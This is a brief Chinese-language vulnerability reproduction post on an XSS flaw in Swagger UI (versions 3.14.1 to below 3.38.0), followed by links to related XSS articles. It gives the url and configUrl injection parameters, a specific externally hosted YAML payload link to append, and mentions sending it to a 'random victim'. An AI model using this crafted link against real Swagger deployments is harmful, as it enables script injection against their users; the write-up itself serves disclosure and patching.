swagger xss漏洞复现

swagger xss漏洞复现

文章目录

漏洞介绍

Swagger UI 有一个有趣的功能,允许您提供 API 规范的 URL - 一个 yaml 或 json 文件,将被获取并显示给用户

根本原因非常简单 - 一个过时的库DomPurify

影响版本

XSS 影响的 Swagger UI 版本:>=3.14.1 < 3.38.0

实现原理

利用允许提供json文件的原理访问公网网站进行弹窗

json网站:https://jumpy-floor.surge.sh/test.yaml

拼接方式

?url=https://your_api_spec/spec.yaml

?configUrl=https://your_api_spec/file.json

漏洞复现

随机找一位受害者访问

进行拼接?url=https://jumpy-floor.surge.sh/test.yaml

弹窗

修复建议:

升级到最新

相关推荐
未知鱼6 小时前
Python安全开发之简易Xss检测工具(详细注释)
python·安全·xss
FreeBuf_2 天前
Claude浏览器扩展漏洞允许通过任意网站实现零点击XSS提示注入
前端·网络·xss
LlNingyu5 天前
文艺复兴,什么是XSS,常见形式(一)
前端·安全·web安全·xss
LlNingyu5 天前
文艺复兴,什么是XSS,常见形式(二)
前端·安全·xss
LlNingyu5 天前
文艺复兴, 什么是XSS,常见形式(三)
网络·安全·xss
光影少年5 天前
前端安全问题?XSS和CSRF?
前端·安全·xss
陈天伟教授6 天前
人工智能应用- AI 增强显微镜:01.显微镜的瓶颈
前端·人工智能·安全·xss·csrf
浩~~7 天前
反射型XSS注入
前端·xss
陈天伟教授7 天前
人工智能应用- 预测新冠病毒传染性:07. 预测不同类型病毒的传播能力
人工智能·神经网络·安全·cnn·xss
上海云盾-小余8 天前
应用层漏洞实战防护:SQL 注入、XSS、文件上传漏洞一站式加固方案
数据库·sql·xss